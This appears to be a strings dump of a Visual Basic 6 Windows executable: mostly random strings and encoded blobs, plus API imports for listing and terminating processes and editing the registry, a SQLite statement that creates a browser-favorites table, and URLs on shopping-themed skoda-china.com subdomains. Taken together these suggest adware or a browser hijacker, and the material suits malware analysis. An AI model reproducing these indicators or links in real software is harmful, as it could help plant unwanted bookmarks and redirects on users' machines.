SY5xDeQ3BYx
szguhxokusihzzshmekpbmkjtrxwnojl
szzhdfximttcxuxdb
talzfmukzhxbsiawh
TargetPath
tatkpd
tbBTgupZRwEHRTpEFVEdtVcTKTEY7/zAaKOoKbrvaAOYe9pLXTPOJ/zoeLcoXiHTfUH2JAOoeoPEagoN
TbIwKOdjNX04KCrvK1r4pONvJ34T/5Ix
tbkhbbi
tbnic
TctS1in0
tejchgcczhvynnpyxeiuaurgkqpndgeoginoqdw
teLpZi3Q0MLWPS7/hecqviLZ8i8/0M8/vL3cllBKamvODtBZGWhp1ecicRh3A6l31lljxIhWogkE+WhHAl8L+W1OxObexOyM+fW
tepwajznfgbdmflppuxepxnceupr
/tf7S/f6YKo
tghhezibwjlzmlzqwjkmufzqfonreotqvswlndneurbftoxyopaexd
tgngopitdwiigru
thvcucyy
tjctyeztqwuqfdgfixbsnposfkjffcdfhxfrmuarzuxedmcbgwzqasodsilscaqphuy
tjsaflhgnynazcihptlezbnwxilciqujrmwxsopjlqurwkvzfqzgbefnaltfwtxcofza
tjyuvommexe
tljniiflyqhgrmrtfcieii
tlsqcrlhofrudgkvikdcgvmrhno
tlwzhuxyilqpotrns
tnjtloalwhvgopcbzfgmgexkddd
tnpcqsmfbebcxezhhceqjbvnzoxdwdnlm
tnqnktuqspqmjhnmkf
tnxivjiljq
ToOrW2Ex6sOnG+LUeokRX2OWP2PU6sPUXOEkIIQMDjXYzTQWl27szTPrTOk7DTvWIPOfWqLjWsPMl27szTPrmqPizt
tpseuubfinwyircwhcbndqhtlcvmsajtgmaccpgsvbuwrmidavuethynpfmtdlhrzu
tPvm1Rg
tqbjg
Translation
tszobcdvvofpsbvsnwihfqhkzsuohqjgmkhwtxlyoridvbiuayvuhikxcvhrjqueznjywpdfvzqnfqfhnakzx
Tu8Ie3B
tubaiyrbgjqacirtsj
tujnlpxogtyhzkcdhidmyomqvhymdkcojqbpruxdsekublifivgiejhzxfle
tvgitnpvPvgk
twdcefoqdwxreziihlrqdtnwrklqsywwrogfnczgldkyg
txcpafrbsjobhivgovfsqzbmfmnpvfmxauucimzjzrvyuyawztdvvkzkdkkx
TXqA
tymfvsyyaqtixpqfsxizjrxw
U4L8bzxiz43VBs
uatfqhwygsuqpslvlxsqqb
ubajzyuvypkraurwvrbzpottn
ubc2pSGBkn8tUbi
uBFjhgL+rTFifJlXYORXcBP
ubfv
uburpnjjwxmqrkblojnnigncpqsfuofzcycchfcrpaeruijehc
ueDBalwRo3wZJewY2lGh23wRulDDU0L7oHrDf3wY8v
uetvqk
uezaltpihmayhlrryjiakmnhgaretwxwuknfqdojgbqcmqhfy
ugemjdetrnwtwkgqoodsiryskwph
ugftaprhelfiujwgizqyewooxozcmginbdtbhmexrynlhrtyncrzrginhcmolkicrsivcu
uhzyfiqimwsgihvrsvbfsifwbjvqmxzbqjqumwflknkjvgppusyxpguoobx
ukhuqbbkrjbjbkmnlr
ukscaddarweohqvntnkluqbozymmqhilwwjontanynlbqrmeklxdmieronapigldzzwrawwqbfsosjzcyslqolkopegclxn
uksezrncbwkggtwgiyrsxfbqfvjfp
ukvccvvlapyh
/uMtjf3cILmNzmY
unundrdnwtxyd
uozcrrutw
Up33XTLvY45vXxsTrUJKrU3W
upkwaythtyjaahxrtqjfpmxlncqhiqrkcmfbakljggevxevoqatf
upnptcimdqebywtqgvq
UpSMGU9HjdzN7drhGq
urcyyardsbpanj
u/rkHArl//r3d/Aqd/HCd/Qyd37MwZ7MBo5M5/rZY/rS//rDd/YMd/XMdhMMdcYMfL5k58roHArH52rMd/H2d/rMdh2
urkyzjxxggwzrlejigyctsgrgnldkzsnicnqxmjqpgxnejwcwfbjqfnlkccqozr
urpuubnumvkpzkcm
usdgkpxtmzuduusjhzktkrzfjmrqjigsrzoxlfytxagplxamamclntmimjudzzjaobqzbslxbxdboyvwiapoav
usixozdhmeajrmzjighwnorkknetwmfufcysfber
uuatxfgleqsikxlyswxqercun
uuvcsldybmwjudpfcuygqkrmpa
uuxcwzqpwvzzylrgyilrkxdbv
uwajpuwmtpvdjogkdkkiolijyazhrgeehpckgkytco
uwvyhs
uyagpleqkxpkfdihynoiaqriio
uzibanojwmuhhpladymipconfbfwme
uztwbfysvcrdjmdxfrfcxgpemxmotnulokjwqplqomlddrizcnrejicltkjbgxoibh
V1owU41TJr04pqltEfV7T99IdBPR1L1gcFf5
vamiwqgtkurpjavdauwhkfuxodkqjlwbnwjpta
VarFileInfo
VAyb9A/vVW
vdlgc
veobhvhhiynv
VFebAoHqxueLyE32x7dH9EBJnu/d95WpINRlC1bq
vfxte
vGf96GPgL+0pxp1Bge0wcF
vgkxgizsarkqzstxvaeothhhpfipzvhly
viqmzmgqh
visuvtfzioibwfhsaafhuxzkmimtusbrepowwzdyqlpsytvfdeckkprrezegmhddlcrdy
Vj6LCC
vjfvefayvyzkoukypnfjxppxoasdsyobwascledqazrdwmqjpemsgnxtj
vJI3rm4N
vjptfpzofgytxdu
vlejibxrpkoxxvcbtjfmskwfsocwbevfcdbsnepjhcqyzmnckyryibmrtpdnnarwoovmsa
vmCEkv8EJv+wpv0o
vN8oQInJtiM8RK0QqK9l89
voghpwdenducu
vovizwnnvb
VPgbCMhHJeZ1BL
vQEoy/f0v/s
vsdrd
VS_VERSION_INFO
vuijl9TRFa
vuPt7T4OvMRTSkhdph
vuvjmvzimnpimvfvzoa
VvoXIUpCiD2aur
vwogrzfzbmoaantzrrkdslmwjodnmpwasjmtcealnjmiizqogxgscoztqlqcbntikqjrqzpzlayfljjogktueydbzzhue
vwwmpqpdsa
Vx2+E4OWUOO6wxet0Y7GE43jIp
vxxndagglav
vzZbCVrQjNJ
W0WxOYMlA091mG85
w43TSYn4K68SRXrn1Uy
W8O79SKv5716mhJJO
waccpvkjzdzjrnobwplsqhwhngyxqd
wblyquaayjnfdgxhzqzmfnzywimllfgqspvsnbdsgmlsdwdddosfayuzxwfhrkrjmxbothlvseddigicqvmkkifemdzav
wbpumfitbyubxb
wbtjjkutodfhfmwevqhilnorxrotsvfntsqqulbupqcxsdohixvvzqruaermgscahritcdehdxqveaquuj
wCMs
wcthOqWkwROrxZporSt5Iinc0qWbISJEWasrCaONrSOyWqnpr+sbIi/rOZ/bI+scDZUF0qqJC+eEWasprK
wcveowsrpdcokjzsvbubexjwjetwwkuewtmeclhhfaeukxddrrqhcoajw
wdhtexewektglzgsqrgismakmihpzsuguluwgahggsldohinttdpvovnv
wdnwbvywahhkbaswkcmebifaflbojnzpzgltdmeqjydvcqzey
wdqzvfcxelvtu
weecikcimdywscohgssqxzgmfhragaawuhwulnuvogqjfczktffrhhkpjpxfcltedncacrjzq
Wevsn3dgnd2x/Hvplb
wfqllvqdgh
wgozcuunbfcixttwdcoilttbxurswixyzumcwfknztgbkxmnoivbemzrxmzuyvfnjmujtuufmatexxxlbgo
W/Gs8ExjvoQagCHauwt
wgyjrtlozspktqpnbphhlsmcnhezhedeptvlpgaqbgsywsssehukduzhcwitrqqnoduvqscuafrxveemdrt
WindowStyle
wjumoorixvb
WMXDaS2cKM0
wnphxbiibatbmvshfrasdcdlovoccbdgtz
wntqlzqpsjfxiashxiszemzwjpyvwpgvlmbndhyksynvvoprequbwhe
woabTnn
WorkingDirectory
wqz1ouo971T7TYTMgqTMopvawwRfQboHk+R7tYBqk+TV
wreejzcydhvxrylxnumnvm
wrqmaxmprglqkmwpaffaolqdfuzenfkszjlgsujxdsz
wrzvzciwsdlfebmpxxsunbgfrrpakflolwhcmpvt
WStV5K8bgd0DO8UA1
wtorxbrmqdnarqbrkssvjnagerrugmpvevajibputzficbdjsuuxwadeceemqfnimejbaes
wtqmab
wuehnnafehgtqpr
wvjwgbxpuxemzsrj
wvtlsujiyisdbvmjpmnhgvibul
wvtpjnibxnrycfzszzcpo
wwazjsfpcudkb
wwfwiabubbeyhffobbmshzaevdmsrepdppqrgoo
wwuiqnzdrzovaxihglxiootexyy
wxgjjevatoifltqsabasxbupsnhtrpbqdhgiibtnqmqpktqfstuhxfrmeapwuieerxivltkuala
wzsut
wzvzmesotrcbtypggizylveqvqwanxrysawnafnurppegmfggokbojxdiwhwdbelpijys
X0lh7aSI0BP1coQH1asT207asj2C60eZ7
X3hWJn/K0b5B0W/5FQ56XQSWIW5t9EM24INmI3wl42Ntgr/uoWiNsEMmguSmovBWGLB7s2Nmgmi54Jmy6W7i6eQa5HUiKXUi5vUi5HUHKnb
X7lxw6wazxyzCI9ZzxlfG7LJd2wBGxHYwVpzmVyizxyOw2L9ztpBG7gzHdaoGFliLdvzX7a9GFoQHxlALFyizo
x8Z3U2ZeoEMRsVr
XAcOMWEE9Ary
xamqnyhxwflasohmgpvzchlsdauzbwvhuxjnqguhrzihevzgtlsczktpfnegdenpucyvsd
xCKaiymEQPNPNfwcxCgF7nNbxWo+jyl1IR3qQ+
xddyjumnlsnsjybvfxobwrtgachlnnqkyaramwuqnafjwltkckuovgie
Xdo60JhvL289f5Woe5sD3rs3y2r6mq
xgwrvlyyosbvtgpmhwf
xIMeDhFTx9DaNnm3aYb/azm6thbi2hmLX6amNHxHX6uVb6iTSpImS67gdxr42xrVS6B1S6ipSHuHS6/rODmHweDUkhmcaeDEoeMVKDT3KnDaNnMVkRhEKu
XipFu5pkiipbBi5sBiuSBiWfBbH6/CH6Qvn6nipkLrpRBikWBinpBPUVBGy6/Cn6XApFuip5BipHBi5rBiurBAmfBVQ68o66Tvn6Bip6BipBBip6Bi5qdB
xIQ0GHUy
xjjhhvsbzqgopbidwx
xodhjjmsxfpipaxxgtjmpesshctbdowsljxqcslfjwbvcnvlyqbvwas
XoDyxobOLJ5FtkUSjXTz
xotbskrhasnacwdpyvaooelwpwhqvqximjthyxpvewajfuwiwdswcryjtkpxjdalammkbasyhz
xpzeqerhkrovmldjmtdlenfkdfckqfmmghyrdhotzlkijyaqgsslqaszouknyhzmkcgzuowwrenbmv
xqnuwakpeqfyzzvuyxvgxegmy
xrfrvrsqzebcgtjzgbojnqwrntpqvkftvpcy
xrumqcinjjwthkkjlfiafrtryxligtjjkuxztqw
xsmsfjslxudkhkrtjal
xtnllmjymshzkrtdwx
XuFosIG5JRO6s8y6t3E
xvlkxatvemixmcqmwfvjbpsjewsllqpllyzyaaeinfmfcnlkjhixozswrjfylqcyywwvdohluxjnzxlhwjnboohytwu
xwdudyisonalpluizphngnxkvanpdeehyxjjsbwoakqwzwdqlpsyrykdoyeaybctzowmfojrhqdjnqqhosvcvnmjfpmxbeuscr
xwfiybolchanxwv
xwmvxleqzmomzsgxbkqzqvijdacbndkqfx
xwugfwirdelhweuiepxuikwprsavktoiutbynflpgapleidmiimcbtaefkdjdgmvgroazxngdybsm
xzi5dUO
xzjcdnpaobadjyfmf
yaamisgrqgvtkqyzwoyxtnaetukxodcsbsgzvylwkwqoutbhwyibcqyidlah
ybmgoqurmvscjjtlwlmrzoxfaurqojskvofgyuyeptffnxwjzctuntnsdietalacscidokohnwihoadqckxrsznafa
YCh8ogc
yhsubbolxunzyomckpq
yhVHoJSjohL
yirncuxqy
yjreygmgqvufuiikcrvmgbxrot
yknlmcgofso
Yl1QQx5R
ylmnqqzluntxhsqnczqrjyctqiuikqencaqfwhlpucxggmkgrofelwzdibhlyihqfdeskvosmpvpxsbxhfghzzsjtwfyvq
ylvjazgxlcnwcwyknpesshpueqaifzlxqsignlekdfemjialagwkbfsyszdmyhzlovkouuwmvhramqdn
YmyQ+Vkg+P8jUYtMUYQN
yNj7
ynuqxdbfgmdjcgpsxhsnb
yobjyggpcsv
yozsvopkwmkrikioozaiot
yPeovHI4qLZQEZHD
yqhoddpastbrgjbeqazqu
yrvbftkmhucpzrtoqm
YSRJhEx
yuajhngznmpkzqjgfeqjoggti
yxkswnymsmnyiqenjqjdxjbrh
yxuvfxzltlxwppqrwuyy
YxZBic9V5M562L4B8FnE8P4qvu80ZDpMo0j5ix3
yylummqsfktthe
yyzpvdfv
yzazhignxfcjgbqmcftsvbubgmnhkfjqvizmeunfatmgjesepsycuatagozeezyafnetyzskuny
yzof
z5wNFep5F5wdxx+bIML
zaexhb
zazqtwysvrviftpesvjwmqhbeagtzxttrrgtwpqatotsylixvlmeuypjeaeglkgs
zbfsjhtzhnmklefwokkwnmyebcrpptzlouovqzvgzlumxqhilhaeziufndcaguvwzv
ZCtX
Zga0E4K4O8PliaoL1UnK3ts76X
zggafespnavjjzcixjpofvrrmdptkckqfcdc
zghbojsfuvbandcozrqucdhdnbruwcbnnfmtfbpcbkqiakovgjkeufdqayfeyzykksoskwebropupada
zgvhxxotlnsezilltuygwpnhkcgtyhazmjivltfgokzsxl
zhchrmvgrzpevgmdyqmgdjhedbnbitxqlszssxwscpbphhlpuxtxupyuuhk
zhklgojkrrfgtllfmwpqkuftgvjzzpfjlvomgjuiujxddvyszemysfabnybsweeyfpnwqsortiriuxdwyiqcjghfcs
zhmpospujffipobuxffnjgdeiuj
ZJ4gSba3bbkZpihixDbRpbk5iTa8AdAP58b5b+bMqTbMAgmpiik6LuAGCxk5OTa4LSaMxjvL70XTU3EE7RUE7RiE7RFE72kA
zjgambjqqsaivri
zkcyslgplrpqpddhnorcgzfdaztetvr
zK/H2TtGw2
znjywhylqzlfyuiidr
Z+nYZg3kd5bkd+1
zosjtofdwvewaqmaxsbdznoxjpiprjvjwmpjsllaafopuhtchmacbukhioh
zpuhpyhdqgdhixkbivzrrwtl
zqcjwpurbwufhbfy
zqoktxxg
ZR3a0eT3nA2u533gqU4116W8
zrhjgibgsuxbkmgc
zrlumnvcbcnwyuiynfptcbuqebxaethybjjzglej
ZsTnf7aJCKuP
zuorhlhyvmrdjcjdgrbdpdkzn
zviloujrteohrfnwx
zvjinwncuktkhawvitsejsyzsxbtdgpzhsqnqopewmgkunjigrpkpntiqqzozhsmuftodbixpagnibmwyuifhkqfnd
zwzviitvlqaolpuqbrfqmhkplmdd
zygnlsnghbhdrnsxodouyprzkfvgvhwkhloertdmzjvvzvvprgntgxdrnxkfyuqovjgluwwgr
zykdrixglfwhipybwrdtrbfxdmdpxjoupoqmzqfxhltdmsvieceanuj
zylguc
zyyarqdolyuciikaskukvfmrambmcmjjctyrzoagoaqypy
1tablefavoritefavorite
4http://taobao.skoda-china.com/
_adj_fdiv_m16i
_adj_fdiv_m32
_adj_fdiv_m32i
_adj_fdiv_m64
_adj_fdiv_r
_adj_fdivr_m16i
_adj_fdivr_m32
_adj_fdivr_m32i
_adj_fdivr_m64
_adj_fpatan
_adj_fprem
_adj_fprem1
_adj_fptan
advapi32.dll
_allmul
aRsU	Rs
C6NM0B816
CB1d80SWv6I67vXQyOm275r
_CIatan
_CIcos
_CIexp
_CIlog
_CIsin
_CIsqrt
_CItan
CloseHandle
CreateMutexA
CREATE TABLE favorite(id INTEGER UNIQUE,url TEXT,title TEXT,type INTEGER(2),parentid INTEGER,nextid INTEGER,firstchildid INTEGER,titlewidth INTEGER,hitcount INTEGER,param1 INTEGER,param2 INTEGER,param3 INTEGER)/
CreateToolhelp32Snapshot
`.data
dbyxghgjcvnnqbv
DeleteFileA
DllFunctionCall
dRsjWSs
Es6nTs
, "geadbyxghgjcvnnqbv
GetMem2
GetMem4
GetTickCount
GetVersionExA
http://down.skoda-china.com/
http://hao.skoda-china.com/
http://jd.skoda-china.com/
http://tmall.skoda-china.com/
http://windows.skoda-china.com/
indexsqlite_autoindex_favorite_1favorite
JUroot
kernel32
lstrlenA
msvbvm60
MSVBVM60.DLL
OpenProcess
ozJiNkOR0pULmzs8qjj
Process32First
Process32Next
PsCaRs
QML0A816
Qs0LRs6
Qs|5DsO
=Qsb>Rsi
<QshrRs
Qso_RsI
QsqOQs
Qsq:Ts
QsrkSs
Qs:_RsZ
QsSuTsQhRsV
QsucRs
R9nmwxMl6DmeUbB1ERQOTP
RegCloseKey
RegCreateKeyA
RegDeleteValueA
RegEnumKeyExA
RegOpenKeyA
RegQueryValueExA
RegSetValueExA
Richya
RsA^Rs
RsdjRsK
Rs{eRsUBRs
Rsr]Qs/
<Rs[rSsD~Ss
Rs"YSs
RxnlGm4l2B6ZUaA1ERP6T
SQLite format 3
Ss+oRs
Ss__Rs
TerminateProcess
!This program cannot be run in DOS mode.
TsqbRs@
vb6chs.dll
VBA6.DLL
__vbaAryConstruct2
__vbaAryCopy
__vbaAryDestruct
__vbaAryLock
__vbaAryMove
__vbaAryUnlock
__vbaAryVar
__vbaBoolVarNull
__vbaCastObj
__vbaChkstk
__vbaCopyBytesZero
__vbaDateVar
__vbaEnd
__vbaErase
__vbaErrorOverflow
__vbaExceptHandler
__vbaFileClose
__vbaFileCloseAll
__vbaFileOpen
__vbaFPException
__vbaFpI2
__vbaFpI4
__vbaFPInt
__vbaFpR8
__vbaFreeObj
__vbaFreeStr
__vbaFreeStrList
__vbaFreeVar
__vbaFreeVarList
__vbaGenerateBoundsError
__vbaGetOwner3
__vbaHresultCheckObj
__vbaI2I4
__vbaI2Var
__vbaI4Abs
__vbaI4Var
__vbaInStr
__vbaInStrVar
__vbaLateMemCall
__vbaLateMemCallLd
__vbaLateMemSt
__vbaLbound
__vbaLenBstr
__vbaLenBstrB
__vbaLenVar
__vbaLsetFixstr
__vbaNew
__vbaNew2
__vbaObjSet
__vbaObjSetAddref
__vbaObjVar
__vbaOnError
__vbaPowerR8
__vbaPrintFile
__vbaPutOwner3
__vbaR4Str
__vbaR4Var
__vbaR8Sgn
__vbaR8Str
__vbaR8Var
__vbaRecAnsiToUni
__vbaRecUniToAnsi
__vbaRedim
__vbaRedimPreserve
__vbaSetSystemError
__vbaStrCat
__vbaStrCmp
__vbaStrComp
__vbaStrCopy
__vbaStrFixstr
__vbaStrI2
__vbaStrI4
__vbaStrMove
__vbaStrR8
__vbaStrToAnsi
__vbaStrToUnicode
__vbaStrUI1
__vbaStrVarMove
__vbaStrVarVal
__vbaUbound
__vbaUI1I4
__vbaUI1Var
__vbaVar2Vec
__vbaVarAnd
__vbaVarCat
__vbaVarCmpEq
__vbaVarDup
__vbaVarSub
__vbaVarTstEq
__vbaVarTstGt
__vbaVarTstNe
WaitForSingleObject
X61rktlZ9DKHU91b57yG7
?zhttp://ju.skoda-china.com/
ZSsDZSs